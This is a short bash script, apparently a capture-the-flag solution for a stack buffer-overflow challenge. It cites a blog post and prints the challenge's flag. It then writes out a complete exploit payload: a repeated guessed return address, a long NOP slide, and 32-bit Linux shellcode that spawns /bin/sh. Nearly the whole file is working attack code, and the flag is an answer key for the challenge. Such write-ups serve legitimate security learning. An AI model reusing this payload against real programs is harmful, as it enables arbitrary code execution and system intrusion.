#!/bin/bash

# sources: https://hg8.sh/posts/binary-exploitation/buffer-overflow-code-execution-by-shellcode-injection/

# flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}

######### Exploit #########
# Step 1: Fill the buffer with a candidate return address
printf "\x0c\xd6\xff\xff%.0s" {1..30}

# Step 2: Write a lot of NOPs to stdout as a slide for the shellcode
printf "\x90%.0s" {1..2000}

# Step 3: Write the provided shellcode to stdout
printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
###########################